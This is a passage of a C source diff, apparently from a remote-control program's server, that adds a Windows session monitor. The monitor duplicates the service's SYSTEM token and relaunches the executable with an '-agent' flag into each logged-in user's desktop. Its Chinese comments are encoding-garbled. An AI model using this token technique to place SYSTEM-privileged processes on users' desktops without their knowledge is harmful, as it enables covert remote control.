1) { + ServerMonitor_WriteLog("WTSEnumerateSessions failed"); + } + } + + // 姣10绉掓鏌ヤ竴娆 + for (int j = 0; j < 100 && self->running; j++) { + Sleep(100); + } + } + + ServerMonitor_WriteLog("Monitor loop exited"); +} + +static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId) +{ + (void)self; // 鏈娇鐢 + + // 鑾峰彇褰撳墠杩涚▼鐨 exe 鍚嶇О + char currentExeName[MAX_PATH]; + if (!GetModuleFileNameA(NULL, currentExeName, MAX_PATH)) { + return FALSE; + } + + // 鑾峰彇鏂囦欢鍚嶏紙涓嶅惈璺緞锛 + char* pFileName = strrchr(currentExeName, '\\'); + if (pFileName) { + pFileName++; + } + else { + pFileName = currentExeName; + } + + // 鑾峰彇褰撳墠鏈嶅姟杩涚▼鐨 PID + DWORD currentPID = GetCurrentProcessId(); + + // 鍒涘缓杩涚▼蹇収 + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) { + ServerMonitor_WriteLog("CreateToolhelp32Snapshot failed"); + return FALSE; + } + + PROCESSENTRY32 pe32; + pe32.dwSize = sizeof(PROCESSENTRY32); + BOOL found = FALSE; + + if (Process32First(hSnapshot, &pe32)) { + do { + // 鏌ユ壘鍚屽悕鐨 exe + if (_stricmp(pe32.szExeFile, pFileName) == 0) { + // 鎺掗櫎鏈嶅姟杩涚▼鑷繁 + if (pe32.th32ProcessID == currentPID) { + continue; + } + + // 鑾峰彇杩涚▼鐨勪細璇滻D + DWORD procSessionId; + if (ProcessIdToSessionId(pe32.th32ProcessID, &procSessionId)) { + if (procSessionId == sessionId) { + // 鎵惧埌浜嗭細鍚屽悕 exe锛屼笉鍚 PID锛屽湪鐩爣浼氳瘽涓 + found = TRUE; + break; + } + } + } + } while (Process32Next(hSnapshot, &pe32)); + } + + CloseHandle(hSnapshot); + return found; +} + +// 缁堟鎵鏈塆UI杩涚▼ +static void TerminateAllGui(ServerSessionMonitor* self) +{ + char buf[256]; + + EnterCriticalSection(&self->csProcessList); + + sprintf_s(buf, sizeof(buf), "Terminating %d GUI process(es)", (int)self->agentProcesses.count); + ServerMonitor_WriteLog(buf); + + for (size_t i = 0; i < self->agentProcesses.count; i++) { + ServerAgentProcessInfo* info = &self->agentProcesses.items[i]; + + sprintf_s(buf, sizeof(buf), "Terminating GUI PID=%d (Session %d)", + (int)info->processId, (int)info->sessionId); + ServerMonitor_WriteLog(buf); + + // 妫鏌ヨ繘绋嬫槸鍚﹁繕娲荤潃 + DWORD exitCode; + if (GetExitCodeProcess(info->hProcess, &exitCode)) { + if (exitCode == STILL_ACTIVE) { + // 杩涚▼杩樺湪杩愯锛岀粓姝㈠畠 + if (!TerminateProcess(info->hProcess, 0)) { + sprintf_s(buf, sizeof(buf), "WARNING: Failed to terminate PID=%d, error=%d", + (int)info->processId, (int)GetLastError()); + ServerMonitor_WriteLog(buf); + } + else { + ServerMonitor_WriteLog("GUI terminated successfully"); + // 绛夊緟杩涚▼瀹屽叏閫鍑 + WaitForSingleObject(info->hProcess, 5000); + } + } + else { + sprintf_s(buf, sizeof(buf), "GUI PID=%d already exited with code %d", + (int)info->processId, (int)exitCode); + ServerMonitor_WriteLog(buf); + } + } + + CloseHandle(info->hProcess); + } + + self->agentProcesses.count = 0; // 娓呯┖鍒楄〃 + + LeaveCriticalSection(&self->csProcessList); + ServerMonitor_WriteLog("All GUI processes terminated"); +} + +// 娓呯悊宸茬粡缁堟鐨勮繘绋 +static void CleanupDeadProcesses(ServerSessionMonitor* self) +{ + char buf[256]; + + EnterCriticalSection(&self->csProcessList); + + size_t i = 0; + while (i < self->agentProcesses.count) { + ServerAgentProcessInfo* info = &self->agentProcesses.items[i]; + + DWORD exitCode; + if (GetExitCodeProcess(info->hProcess, &exitCode)) { + if (exitCode != STILL_ACTIVE) { + // 杩涚▼宸查鍑 + sprintf_s(buf, sizeof(buf), "GUI PID=%d exited with code %d, cleaning up", + (int)info->processId, (int)exitCode); + ServerMonitor_WriteLog(buf); + + CloseHandle(info->hProcess); + AgentArray_RemoveAt(&self->agentProcesses, i); + continue; // 涓嶅鍔 i锛屽洜涓哄垹闄や簡鍏冪礌 + } + } + else { + // 鏃犳硶鑾峰彇閫鍑轰唬鐮侊紝鍙兘杩涚▼宸蹭笉瀛樺湪 + sprintf_s(buf, sizeof(buf), "Cannot query GUI PID=%d, removing from list", + (int)info->processId); + ServerMonitor_WriteLog(buf); + + CloseHandle(info->hProcess); + AgentArray_RemoveAt(&self->agentProcesses, i); + continue; + } + + i++; + } + + LeaveCriticalSection(&self->csProcessList); +} + +static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) +{ + char buf[512]; + + sprintf_s(buf, sizeof(buf), "Attempting to launch GUI in session %d", (int)sessionId); + ServerMonitor_WriteLog(buf); + + STARTUPINFO si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + memset(&pi, 0, sizeof(pi)); + + si.cb = sizeof(STARTUPINFO); + si.lpDesktop = (LPSTR)"winsta0\\default"; // 鍏抽敭锛氭寚瀹氭闈 + + // 鑾峰彇褰撳墠鏈嶅姟杩涚▼鐨 SYSTEM 浠ょ墝 + HANDLE hToken = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { + sprintf_s(buf, sizeof(buf), "OpenProcessToken failed: %d", (int)GetLastError()); + ServerMonitor_WriteLog(buf); + return FALSE; + } + + // 澶嶅埗涓哄彲鐢ㄤ簬鍒涘缓杩涚▼鐨勪富浠ょ墝 + HANDLE hDupToken = NULL; + if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, + SecurityImpersonation, TokenPrimary, &hDupToken)) { + sprintf_s(buf, sizeof(buf), "DuplicateTokenEx failed: %d", (int)GetLastError()); + ServerMonitor_WriteLog(buf); + CloseHandle(hToken); + return FALSE; + } + + // 淇敼浠ょ墝鐨勪細璇 ID 涓虹洰鏍囩敤鎴蜂細璇 + if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) { + sprintf_s(buf, sizeof(buf), "SetTokenInformation failed: %d", (int)GetLastError()); + ServerMonitor_WriteLog(buf); + CloseHandle(hDupToken); + CloseHandle(hToken); + return FALSE; + } + + ServerMonitor_WriteLog("Token duplicated"); + + // 鑾峰彇褰撳墠绋嬪簭璺緞锛堝氨鏄嚜宸憋級 + char exePath[MAX_PATH]; + if (!GetModuleFileNameA(NULL, exePath, MAX_PATH)) { + ServerMonitor_WriteLog("GetModuleFileName failed"); + CloseHandle(hDupToken); + CloseHandle(hToken); + return FALSE; + } + + sprintf_s(buf, sizeof(buf), "Service path: %s", exePath); + ServerMonitor_WriteLog(buf); + + // 妫鏌ユ枃浠舵槸鍚﹀瓨鍦 + DWORD fileAttr = GetFileAttributesA(exePath); + if (fileAttr == INVALID_FILE_ATTRIBUTES) { + sprintf_s(buf, sizeof(buf), "ERROR: Executable not found at: %s", exePath); + ServerMonitor_WriteLog(buf); + CloseHandle(hDupToken); + CloseHandle(hToken); + return FALSE; + } + + // 鏋勫缓鍛戒护琛岋細鍚屼竴涓 exe锛 浣嗘坊鍔 -agent 鍙傛暟 + char cmdLine[MAX_PATH + 20]; + sprintf_s(cmdLine, sizeof(cmdLine), "\"%s\" -agent", exePath); + + sprintf_s(buf, sizeof(buf), "Command line: %s", cmdLine); + ServerMonitor_WriteLog(buf); + + // 鑾峰彇鐢ㄦ埛浠ょ墝锛堢敤浜庤幏鍙栫幆澧冨潡锛 + LPVOID lpEnvironment = NULL; + HANDLE hUserToken = NULL; + if (!WTSQueryUserToken(sessionId, &hUserToken)) { + sprintf_s(buf, sizeof(buf), "WTSQueryUserToken failed: %d", (int)GetLastError()); + ServerMonitor_WriteLog(buf); + } + + // 浣跨敤鐢ㄦ埛浠ょ墝鍒涘缓鐜鍧 + if (hUserToken) { + if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) { + ServerMonitor_WriteLog("CreateEnvironmentBlock failed"); + } + CloseHandle(hUserToken); + } + + // 鍦ㄧ敤鎴蜂細璇濅腑鍒涘缓杩涚▼锛圙UI绋嬪簭锛屼笉闅愯棌绐楀彛锛 + BOOL result = CreateProcessAsUserA( + hDupToken, + NULL, // 搴旂敤绋嬪簭鍚嶏紙鍦ㄥ懡浠よ涓В鏋愶級 + cmdLine, // 鍛戒护琛屽弬鏁帮細Yama.exe -agent + NULL, // 杩涚▼瀹夊叏灞炴 + NULL, // 绾跨▼瀹夊叏灞炴 + FALSE, // 涓嶇户鎵垮彞鏌 + NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // GUI绋嬪簭涓嶉渶瑕 CREATE_NO_WINDOW + lpEnvironment, // 鐜鍙橀噺 + NULL, // 褰撳墠鐩綍 + &si, + &pi + ); + + if (lpEnvironment) { + DestroyEnvironmentBlock(lpEnvironment); + } + + if (result) { + sprintf_s(buf, sizeof(buf), "SUCCESS: GUI process created (PID=%d)", (int)pi.dwProcessId); + ServerMonitor_WriteLog(buf); + + // 淇濆瓨杩涚▼淇℃伅锛屼互渚垮仠姝㈡椂鍙互缁堟瀹 + EnterCriticalSection(&self->csProcessList); + ServerAgentProcessInfo info; + info.processId = pi.dwProcessId; + info.sessionId = sessionId; + info.hProcess = pi.hProcess; // 涓嶅叧闂彞鏌勶紝鐣欑潃鍚庨潰缁堟 + AgentArray_Add(&self->agentProcesses, &info); + LeaveCriticalSection(&self->csProcessList); + + CloseHandle(pi.hThread); // 绾跨▼鍙ユ焺鍙互鍏抽棴 + } + else { + DWORD err = GetLastError(); + sprintf_s(buf, sizeof(buf), "CreateProcessAsUser failed: %d", (int)err); + ServerMonitor_WriteLog(buf); + + // 鎻愪緵鏇磋缁嗙殑閿欒淇℃伅 + if (err == ERROR_FILE_NOT_FOUND) { + ServerMonitor_WriteLog("ERROR: Executable not found"); + } + else if (err == ERROR_ACCESS_DENIED) { + ServerMonitor_WriteLog("ERROR: Access denied - service may not have sufficient privileges"); + } + else if (err == 1314) { + ServerMonitor_WriteLog("ERROR: Service does not have SE_INCREASE_QUOTA privilege"); + } + } + + CloseHandle(hDupToken); + CloseHandle(hToken); + + return result; +} diff --git a/server/2015Remote/ServerSessionMonitor.h b/server/2015Remote/ServerSessionMonitor.h new file mode 100644 index 0000000..ff3e0df --- /dev/null +++ b/server/2015Remote/ServerSessionMonitor.h @@ -0,0 +1,51 @@ +#ifndef SERVER_SESSION_MONITOR_H +#define SERVER_SESSION_MONITOR_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#pragma comment(lib, "wtsapi32.lib") + +// GUI杩涚▼淇℃伅 +typedef struct ServerAgentProcessInfo { + DWORD processId; + DWORD sessionId; + HANDLE hProcess; +} ServerAgentProcessInfo; + +// GUI杩涚▼鏁扮粍锛堝姩鎬佹暟缁勶級 +typedef struct ServerAgentProcessArray { + ServerAgentProcessInfo* items; + size_t count; + size_t capacity; +} ServerAgentProcessArray; + +// 浼氳瘽鐩戞帶鍣ㄧ粨鏋 +typedef struct ServerSessionMonitor { + HANDLE monitorThread; + BOOL running; + CRITICAL_SECTION csProcessList; + ServerAgentProcessArray agentProcesses; +} ServerSessionMonitor; + +// 鍒濆鍖栦細璇濈洃鎺у櫒 +void ServerSessionMonitor_Init(ServerSessionMonitor* self); + +// 娓呯悊浼氳瘽鐩戞帶鍣ㄨ祫婧 +void ServerSessionMonitor_Cleanup(ServerSessionMonitor* self); + +// 鍚姩浼氳瘽鐩戞帶 +BOOL ServerSessionMonitor_Start(ServerSessionMonitor* self); + +// 鍋滄浼氳瘽鐩戞帶 +void ServerSessionMonitor_Stop(ServerSessionMonitor* self); + +#ifdef __cplusplus +} +#endif + +#endif /* SERVER_SESSION_MONITOR_H */